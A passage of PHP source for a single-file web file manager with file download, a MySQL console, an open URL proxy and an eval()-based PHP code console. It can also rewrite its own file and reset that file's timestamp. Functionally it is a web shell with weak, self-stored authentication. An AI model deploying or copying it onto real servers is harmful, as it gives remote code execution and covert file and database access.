			while (!feof($fp)) {
				echo fread($fp, 65536);
				flush(); // this is essential for large downloads
			} 
			fclose($fp);
			die();
		} else {
			header('HTTP/1.0 404 Not Found', true, 404);
			header('Status: 404 Not Found'); 
			die();
        }
    } 
}

//show folder size
function fm_dir_size($f,$format=true) {
	if($format)  {
		$size=fm_dir_size($f,false);
		if($size<=1024) return $size.' bytes';
		elseif($size<=1024*1024) return round($size/(1024),2).'&nbsp;Kb';
		elseif($size<=1024*1024*1024) return round($size/(1024*1024),2).'&nbsp;Mb';
		elseif($size<=1024*1024*1024*1024) return round($size/(1024*1024*1024),2).'&nbsp;Gb';
		elseif($size<=1024*1024*1024*1024*1024) return round($size/(1024*1024*1024*1024),2).'&nbsp;Tb'; //:)))
		else return round($size/(1024*1024*1024*1024*1024),2).'&nbsp;Pb'; // ;-)
	} else {
		if(is_file($f)) return filesize($f);
		$size=0;
		$dh=opendir($f);
		while(($file=readdir($dh))!==false) {
			if($file=='.' || $file=='..') continue;
			if(is_file($f.'/'.$file)) $size+=filesize($f.'/'.$file);
			else $size+=fm_dir_size($f.'/'.$file,false);
		}
		closedir($dh);
		return $size+filesize($f); 
	}
}

//scan directory
function fm_scan_dir($directory, $exp = '', $type = 'all', $do_not_filter = false) {
	$dir = $ndir = array();
	if(!empty($exp)){
		$exp = '/^' . str_replace('*', '(.*)', str_replace('.', '\\.', $exp)) . '$/';
	}
	if(!empty($type) && $type !== 'all'){
		$func = 'is_' . $type;
	}
	if(@is_dir($directory)){
		$fh = opendir($directory);
		while (false !== ($filename = readdir($fh))) {
			if(substr($filename, 0, 1) != '.' || $do_not_filter) {
				if((empty($type) || $type == 'all' || $func($directory . '/' . $filename)) && (empty($exp) || preg_match($exp, $filename))){
					$dir[] = $filename;
				}
			}
		}
		closedir($fh);
		natsort($dir);
	}
	return $dir;
}

function fm_link($get,$link,$name,$title='') {
	if (empty($title)) $title=$name.' '.basename($link);
	return '&nbsp;&nbsp;<a href="?'.$get.'='.base64_encode($link).'" title="'.$title.'">'.$name.'</a>';
}

function fm_arr_to_option($arr,$n,$sel=''){
	foreach($arr as $v){
		$b=$v[$n];
		$res.='<option value="'.$b.'" '.($sel && $sel==$b?'selected':'').'>'.$b.'</option>';
	}
	return $res;
}

function fm_lang_form ($current='en'){
return '
<form name="change_lang" method="post" action="">
	<select name="fm_lang" title="'.__('Language').'" onchange="document.forms[\'change_lang\'].submit()" >
		<option value="en" '.($current=='en'?'selected="selected" ':'').'>'.__('English').'</option>
		<option value="de" '.($current=='de'?'selected="selected" ':'').'>'.__('German').'</option>
		<option value="ru" '.($current=='ru'?'selected="selected" ':'').'>'.__('Russian').'</option>
		<option value="fr" '.($current=='fr'?'selected="selected" ':'').'>'.__('French').'</option>
		<option value="uk" '.($current=='uk'?'selected="selected" ':'').'>'.__('Ukrainian').'</option>
	</select>
</form>
';
}
	
function fm_root($dirname){
	return ($dirname=='.' OR $dirname=='..');
}

function fm_php($string){
	$display_errors=ini_get('display_errors');
	ini_set('display_errors', '1');
	ob_start();
	eval(trim($string));
	$text = ob_get_contents();
	ob_end_clean();
	ini_set('display_errors', $display_errors);
	return $text;
}

//SHOW DATABASES
function fm_sql_connect(){
	global $fm_config;
	return new mysqli($fm_config['sql_server'], $fm_config['sql_username'], $fm_config['sql_password'], $fm_config['sql_db']);
}

function fm_sql($query){
	global $fm_config;
	$query=trim($query);
	ob_start();
	$connection = fm_sql_connect();
	if ($connection->connect_error) {
		ob_end_clean();	
		return $connection->connect_error;
	}
	$connection->set_charset('utf8');
    $queried = mysqli_query($connection,$query);
	if ($queried===false) {
		ob_end_clean();	
		return mysqli_error($connection);
    } else {
		if(!empty($queried)){
			while($row = mysqli_fetch_assoc($queried)) {
				$query_result[]=  $row;
			}
		}
		$vdump=empty($query_result)?'':var_export($query_result,true);	
		ob_end_clean();	
		$connection->close();
		return '<pre>'.stripslashes($vdump).'</pre>';
	}
}

function fm_backup_tables($tables = '*', $full_backup = true) {
	global $path;
	$mysqldb = fm_sql_connect();
	$delimiter = "; \n  \n";
	if($tables == '*')	{
		$tables = array();
		$result = $mysqldb->query('SHOW TABLES');
		while($row = mysqli_fetch_row($result))	{
			$tables[] = $row[0];
		}
	} else {
		$tables = is_array($tables) ? $tables : explode(',',$tables);
	}
    
	$return='';
	foreach($tables as $table)	{
		$result = $mysqldb->query('SELECT * FROM '.$table);
		$num_fields = mysqli_num_fields($result);
		$return.= 'DROP TABLE IF EXISTS `'.$table.'`'.$delimiter;
		$row2 = mysqli_fetch_row($mysqldb->query('SHOW CREATE TABLE '.$table));
		$return.=$row2[1].$delimiter;
        if ($full_backup) {
		for ($i = 0; $i < $num_fields; $i++)  {
			while($row = mysqli_fetch_row($result)) {
				$return.= 'INSERT INTO `'.$table.'` VALUES(';
				for($j=0; $j<$num_fields; $j++)	{
					$row[$j] = addslashes($row[$j]);
					$row[$j] = str_replace("\n","\\n",$row[$j]);
					if (isset($row[$j])) { $return.= '"'.$row[$j].'"' ; } else { $return.= '""'; }
					if ($j<($num_fields-1)) { $return.= ','; }
				}
				$return.= ')'.$delimiter;
			}
		  }
		} else { 
		$return = preg_replace("#AUTO_INCREMENT=[\d]+ #is", '', $return);
		}
		$return.="\n\n\n";
	}

	//save file
    $file=gmdate("Y-m-d_H-i-s",time()).'.sql';
	$handle = fopen($file,'w+');
	fwrite($handle,$return);
	fclose($handle);
	$alert = 'onClick="if(confirm(\''. __('File selected').': \n'. $file. '. \n'.__('Are you sure you want to delete this file?') . '\')) document.location.href = \'?delete=' . $file . '&path=' . $path  . '\'"';
    return $file.': '.fm_link('download',$path.$file,__('Download'),__('Download').' '.$file).' <a href="#" title="' . __('Delete') . ' '. $file . '" ' . $alert . '>' . __('Delete') . '</a>';
}

function fm_restore_tables($sqlFileToExecute) {
	$mysqldb = fm_sql_connect();
	$delimiter = "; \n  \n";
    // Load and explode the sql file
    $f = fopen($sqlFileToExecute,"r+");
    $sqlFile = fread($f,filesize($sqlFileToExecute));
    $sqlArray = explode($delimiter,$sqlFile);
	
    //Process the sql file by statements
    foreach ($sqlArray as $stmt) {
        if (strlen($stmt)>3){
			$result = $mysqldb->query($stmt);
				if (!$result){
					$sqlErrorCode = mysqli_errno($mysqldb->connection);
					$sqlErrorText = mysqli_error($mysqldb->connection);
					$sqlStmt      = $stmt;
					break;
           	     }
           	  }
           }
if (empty($sqlErrorCode)) return __('Success').' — '.$sqlFileToExecute;
else return $sqlErrorText.'<br/>'.$stmt;
}

function fm_img_link($filename){
	return './'.basename(__FILE__).'?img='.base64_encode($filename);
}

function fm_home_style(){
	return '
input, input.fm_input {
	text-indent: 2px;
}

input, textarea, select, input.fm_input {
	color: black;
	font: normal 8pt Verdana, Arial, Helvetica, sans-serif;
	border-color: black;
	background-color: #FCFCFC none !important;
	border-radius: 0;
	padding: 2px;
}

input.fm_input {
	background: #FCFCFC none !important;
	cursor: pointer;
}

.home {
	background-image: url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAMAAAAoLQ9TAAAABGdBTUEAAK/INwWK6QAAAgRQTFRF/f396Ojo////tT02zr+fw66Rtj432TEp3MXE2DAr3TYp1y4mtDw2/7BM/7BOqVpc/8l31jcqq6enwcHB2Tgi5jgqVpbFvra2nBAV/Pz82S0jnx0W3TUkqSgi4eHh4Tsre4wosz026uPjzGYd6Us3ynAydUBA5Kl3fm5eqZaW7ODgi2Vg+Pj4uY+EwLm5bY9U//7jfLtC+tOK3jcm/71u2jYo1UYh5aJl/seC3jEm12kmJrIA1jMm/9aU4Lh0e01BlIaE///dhMdC7IA//fTZ2c3MW6nN30wf95Vd4JdXoXVos8nE4efN/+63IJgSnYhl7F4csXt89GQUwL+/jl1c41Aq+fb2gmtI1rKa2C4kJaIA3jYrlTw5tj423jYn3cXE1zQoxMHBp1lZ3Dgmqiks/+mcjLK83jYkymMV3TYk//HM+u7Whmtr0odTpaOjfWJfrHpg/8Bs/7tW/7Ve+4U52DMm3MLBn4qLgNVM6MzB3lEflIuL/+jA///20LOzjXx8/7lbWpJG2C8k3TosJKMA1ywjopOR1zYp5Dspiay+yKNhqKSk8NW6/fjns7Oz2tnZuz887b+W3aRY/+ms4rCE3Tot7V85bKxjuEA3w45Vh5uhq6am4cFxgZZW/9qIuwgKy0sW+ujT4TQntz423C8i3zUj/+Kw/a5d6UMxuL6wzDEr////cqJQfAAAAKx0Uk5T////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////AAWVFbEAAAAZdEVYdFNvZnR3YXJlAEFkb2JlIEltYWdlUmVhZHlxyWU8AAAA2UlEQVQoU2NYjQYYsAiE8U9YzDYjVpGZRxMiECitMrVZvoMrTlQ2ESRQJ2FVwinYbmqTULoohnE1g1aKGS/fNMtk40yZ9KVLQhgYkuY7NxQvXyHVFNnKzR69qpxBPMez0ETAQyTUvSogaIFaPcNqV/M5dha2Rl2Timb6Z+QBDY1XN/Sbu8xFLG3eLDfl2UABjilO1o012Z3ek1lZVIWAAmUTK6L0s3pX+jj6puZ2AwWUvBRaphswMdUujCiwDwa5VEdPI7ynUlc7v1qYURLquf42hz45CBPDtwACrm+RDcxJYAAAAABJRU5ErkJggg==");
	background-repeat: no-repeat;
}';
}

function fm_config_checkbox_row($name,$value) {
	global $fm_config;
	return '<tr><td class="row1"><input id="fm_config_'.$value.'" name="fm_config['.$value.']" value="1" '.(empty($fm_config[$value])?'':'checked="true"').' type="checkbox"></td><td class="row2 whole"><label for="fm_config_'.$value.'">'.$name.'</td></tr>';
}

function fm_protocol() {
	if (isset($_SERVER['HTTP_SCHEME'])) return $_SERVER['HTTP_SCHEME'].'://';
	if (isset($_SERVER['HTTPS']) && $_SERVER['HTTPS'] == 'on') return 'https://';
	if (isset($_SERVER['SERVER_PORT']) && $_SERVER['SERVER_PORT'] == 443) return 'https://';
	if (isset($_SERVER['HTTP_X_FORWARDED_PROTO']) && $_SERVER['HTTP_X_FORWARDED_PROTO'] == 'https') return 'https://';
	return 'http://';
}

function fm_site_url() {
	return fm_protocol().$_SERVER['HTTP_HOST'];
}

function fm_url($full=false) {
	$host=$full?fm_site_url():'.';
	return $host.'/'.basename(__FILE__);
}

function fm_home($full=false){
	return '&nbsp;<a href="'.fm_url($full).'" title="'.__('Home').'"><span class="home">&nbsp;&nbsp;&nbsp;&nbsp;</span></a>';
}

function fm_run_input($lng) {
	global $fm_config;
	$return = !empty($fm_config['enable_'.$lng.'_console']) ? 
	'
				<form  method="post" action="'.fm_url().'" style="display:inline">
				<input type="submit" name="'.$lng.'run" value="'.strtoupper($lng).' '.__('Console').'">
				</form>
' : '';
	return $return;
}

function fm_url_proxy($matches) {
	$link = str_replace('&amp;','&',$matches[2]);
	$url = isset($_GET['url'])?$_GET['url']:'';
	$parse_url = parse_url($url);
	$host = $parse_url['scheme'].'://'.$parse_url['host'].'/';
	if (substr($link,0,2)=='//') {
		$link = substr_replace($link,fm_protocol(),0,2);
	} elseif (substr($link,0,1)=='/') {
		$link = substr_replace($link,$host,0,1);	
	} elseif (substr($link,0,2)=='./') {
		$link = substr_replace($link,$host,0,2);	
	} elseif (substr($link,0,4)=='http') {
		//alles machen wunderschon
	} else {
		$link = $host.$link;
	} 
	if ($matches[1]=='href' && !strripos($link, 'css')) {
		$base = fm_site_url().'/'.basename(__FILE__);
		$baseq = $base.'?proxy=true&url=';
		$link = $baseq.urlencode($link);
	} elseif (strripos($link, 'css')){
		//как-то тоже подменять надо
	}
	return $matches[1].'="'.$link.'"';
}
 
function fm_tpl_form($lng_tpl) {
	global ${$lng_tpl.'_templates'};
	$tpl_arr = json_decode(${$lng_tpl.'_templates'},true);
	$str = '';
	foreach ($tpl_arr as $ktpl=>$vtpl) {
		$str .= '<tr><td class="row1"><input name="'.$lng_tpl.'_name[]" value="'.$ktpl.'"></td><td class="row2 whole"><textarea name="'.$lng_tpl.'_value[]"  cols="55" rows="5" class="textarea_input">'.$vtpl.'</textarea> <input name="del_'.rand().'" type="button" onClick="this.parentNode.parentNode.remove();" value="'.__('Delete').'"/></td></tr>';
	}
return '
<table>
<tr><th colspan="2">'.strtoupper($lng_tpl).' '.__('templates').' '.fm_run_input($lng_tpl).'</th></tr>
<form method="post" action="">
<input type="hidden" value="'.$lng_tpl.'" name="tpl_edited">
<tr><td class="row1">'.__('Name').'</td><td class="row2 whole">'.__('Value').'</td></tr>
'.$str.'
<tr><td colspan="2" class="row3"><input name="res" type="button" onClick="document.location.href = \''.fm_url().'?fm_settings=true\';" value="'.__('Reset').'"/> <input type="submit" value="'.__('Save').'" ></td></tr>
</form>
<form method="post" action="">
<input type="hidden" value="'.$lng_tpl.'" name="tpl_edited">
<tr><td class="row1"><input name="'.$lng_tpl.'_new_name" value="" placeholder="'.__('New').' '.__('Name').'"></td><td class="row2 whole"><textarea name="'.$lng_tpl.'_new_value"  cols="55" rows="5" class="textarea_input" placeholder="'.__('New').' '.__('Value').'"></textarea></td></tr>
<tr><td colspan="2" class="row3"><input type="submit" value="'.__('Add').'" ></td></tr>
</form>
</table>
';
}

/* End Functions */

// authorization
if ($auth['authorize']) {
	if (isset($_POST['login']) && isset($_POST['password'])){
		if (($_POST['login']==$auth['login']) && ($_POST['password']==$auth['password'])) {
			setcookie($auth['cookie_name'], $auth['login'].'|'.md5($auth['password']), time() + (86400 * $auth['days_authorization']));
			$_COOKIE[$auth['cookie_name']]=$auth['login'].'|'.md5($auth['password']);
		}
	}
	if (!isset($_COOKIE[$auth['cookie_name']]) OR ($_COOKIE[$auth['cookie_name']]!=$auth['login'].'|'.md5($auth['password']))) {
		echo '
<!doctype html>
<html>
<head>
<meta charset="utf-8" />
<meta name="viewport" content="width=device-width, initial-scale=1" />
<title>'.__('File manager').'</title>
</head>
<body>
<form action="" method="post">
'.__('Login').' <input name="login" type="text">&nbsp;&nbsp;&nbsp;
'.__('Password').' <input name="password" type="password">&nbsp;&nbsp;&nbsp;
<input type="submit" value="'.__('Enter').'" class="fm_input">
</form>
'.fm_lang_form($language).'
</body>
</html>
';  
die();
	}
	if (isset($_POST['quit'])) {
		unset($_COOKIE[$auth['cookie_name']]);
		setcookie($auth['cookie_name'], '', time() - (86400 * $auth['days_authorization']));
		header('Location: '.fm_site_url().$_SERVER['REQUEST_URI']);
	}
}

// Change config
if (isset($_GET['fm_settings'])) {
	if (isset($_GET['fm_config_delete'])) { 
		unset($_COOKIE['fm_config']);
		setcookie('fm_config', '', time() - (86400 * $auth['days_authorization']));
		header('Location: '.fm_url().'?fm_settings=true');
		exit(0);
	}	elseif (isset($_POST['fm_config'])) { 
		$fm_config = $_POST['fm_config'];
		setcookie('fm_config', serialize($fm_config), time() + (86400 * $auth['days_authorization']));
		$_COOKIE['fm_config'] = serialize($fm_config);
		$msg = __('Settings').' '.__('done');
	}	elseif (isset($_POST['fm_login'])) { 
		if (empty($_POST['fm_login']['authorize'])) $_POST['fm_login'] = array('authorize' => '0') + $_POST['fm_login'];
		$fm_login = json_encode($_POST['fm_login']);
		$fgc = file_get_contents(__FILE__);
		$search = preg_match('#authorization[\s]?\=[\s]?\'\{\"(.*?)\"\}\';#', $fgc, $matches);
		if (!empty($matches[1])) {
			$filemtime = filemtime(__FILE__);
			$replace = str_replace('{"'.$matches[1].'"}',$fm_login,$fgc);
			if (file_put_contents(__FILE__, $replace)) {
				$msg .= __('File updated');
				if ($_POST['fm_login']['login'] != $auth['login']) $msg .= ' '.__('Login').': '.$_POST['fm_login']['login'];
				if ($_POST['fm_login']['password'] != $auth['password']) $msg .= ' '.__('Password').': '.$_POST['fm_login']['password'];
				$auth = $_POST['fm_login'];
			}
			else $msg .= __('Error occurred');
			if (!empty($fm_config['fm_restore_time'])) touch(__FILE__,$filemtime);
		}
	} elseif (isset($_POST['tpl_edited'])) { 
		$lng_tpl = $_POST['tpl_edited'];
		if (!empty($_POST[$lng_tpl.'_name'])) {
			$fm_php = json_encode(array_combine($_POST[$lng_tpl.'_name'],$_POST[$lng_tpl.'_value']),JSON_HEX_APOS);
		} elseif (!empty($_POST[$lng_tpl.'_new_name'])) {
			$fm_php = json_encode(json_decode(${$lng_tpl.'_templates'},true)+array($_POST[$lng_tpl.'_new_name']=>$_POST[$lng_tpl.'_new_value']),JSON_HEX_APOS);
		}
		if (!empty($fm_php)) {
			$fgc = file_get_contents(__FILE__);
			$search = preg_match('#'.$lng_tpl.'_templates[\s]?\=[\s]?\'\{\"(.*?)\"\}\';#', $fgc, $matches);
			if (!empty($matches[1])) {
				$filemtime = filemtime(__FILE__);
				$replace = str_replace('{"'.$matches[1].'"}',$fm_php,$fgc);
				if (file_put_contents(__FILE__, $replace)) {
					${$lng_tpl.'_templates'} = $fm_php;
					$msg .= __('File updated');
				} else $msg .= __('Error occurred');
				if (!empty($fm_config['fm_restore_time'])) touch(__FILE__,$filemtime);
			}	
		} else $msg .= __('Error occurred');
	}
}

// Just show image
if (isset($_GET['img'])) {
	$file=base64_decode($_GET['img']);
	if ($info=getimagesize($file)){
		switch  ($info[2]){	//1=GIF, 2=JPG, 3=PNG, 4=SWF, 5=PSD, 6=BMP
			case 1: $ext='gif'; break;
			case 2: $ext='jpeg'; break;
			case 3: $ext='png'; break;
			case 6: $ext='bmp'; break;
			default: die();
		}
		header("Content-type: image/$ext");
		echo file_get_contents($file);
		die();
	}
}

// Just download file
if (isset($_GET['download'])) {
	$file=base64_decode($_GET['download']);
	fm_download($file);	
}

// Just show info
if (isset($_GET['phpinfo'])) {
	phpinfo(); 
	die();
}

// Mini proxy, many bugs!
if (isset($_GET['proxy']) && (!empty($fm_config['enable_proxy']))) {
	$url = isset($_GET['url'])?urldecode($_GET['url']):'';
	$proxy_form = '
<div style="position:relative;z-index:100500;background: linear-gradient(to bottom, #CD5C5C 0%,#bfe8f9 50%,#9fd8ef 51%,#2ab0ed 100%);">
	<form action="" method="GET">
	<input type="hidden" name="proxy" value="true">
	'.fm_home().' <a href="'.$url.'" target="_blank">Url</a>: <input type="text" name="url" value="'.$url.'" size="55">
	<input type="submit" value="'.__('Show').'" class="fm_input">
	</form>
</div>
';
	if ($url) {
		$ch = curl_init($url);
		curl_setopt($ch, CURLOPT_USERAGENT, 'Den1xxx test proxy');
		curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
		curl_setopt($ch, CURLOPT_SSL_VERIFYHOST,0);
		curl_setopt($ch, CURLOPT_SSL_VERIFYPEER,0);
		curl_setopt($ch, CURLOPT_HEADER, 0);
		curl_setopt($ch, CURLOPT_REFERER, $url);
		curl_setopt($ch, CURLOPT_RETURNTRANSFER,true);
		$result = curl_exec($ch);
		curl_close($ch);
		//$result = preg_replace('#(src)=["\'][http://]?([^:]*)["\']#Ui', '\\1="'.$url.'/\\2"', $result);
		$result = preg_replace_callback('#(href|src)=["\'][http://]?([^:]*)["\']#Ui', 'fm_url_proxy', $result);
		$result = preg_replace('%(<body.*?>)%i', '$1'.'<style>'.fm_home_style().'</style>'.$proxy_form, $result);
		echo $result;
		die();
	} 
}
?>
<!doctype html>
<html>
<head>     
	<meta charset="utf-8" />
	<meta name="viewport" content="width=device-width, initial-scale=1" />
    <title><?=__('File manager')?></title>
<style>
body {
	background-color:	white;
	font-family:		Verdana, Arial, Helvetica, sans-serif;
	font-size:			8pt;
	margin:				0px;
}

a:link, a:active, a:visited { color: #006699; text-decoration: none; }
a:hover { color: ## #E9967A ; text-decoration: underline; }
a.th:link { color: ##808000; text-decoration: none; }
a.th:active { color: #FFA34F; text-decoration: none; }
a.th:visited { color: #E9967A; text-decoration: none; }
a.th:hover {  color: ## #E9967A ; text-decoration: underline; }

table.bg {
	background-color: #C0C0C0
}

th, td { 
	font:	normal 8pt Verdana, Arial, Helvetica, sans-serif;
	padding: 3px;
}

th	{
	height:				25px;
	background-color:	# #F08080 ;
	color:				#CD5C5C;
	font-weight:		bold;
	font-size:			11px;
}

.row1 {
	background-color:	##F08080;
}

.row2 {
	background-color:	#DEE3E7;
}

.row3 {
	background-color:	#FFC0CB;
	padding: 5px;
}

tr.row1:hover {
	background-color:	#F3FCFC;
}

tr.row2:hover {
	background-color:	# #808000 ;
}

.whole {
	width: 100%;
}

.all tbody td:first-child{width:100%;}

textarea {
	font: 9pt 'Courier New', courier;
	line-height: 125%;
	padding: 5px;
}

.textarea_input {
	height: 1em;
}

.textarea_input:focus {
	height: auto;
}

input[type=submit]{
	background: #FCFCFC none !important;
	cursor: pointer;
}

.folder {
    background-image: url("data:image/png;base64,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");
}

.file {
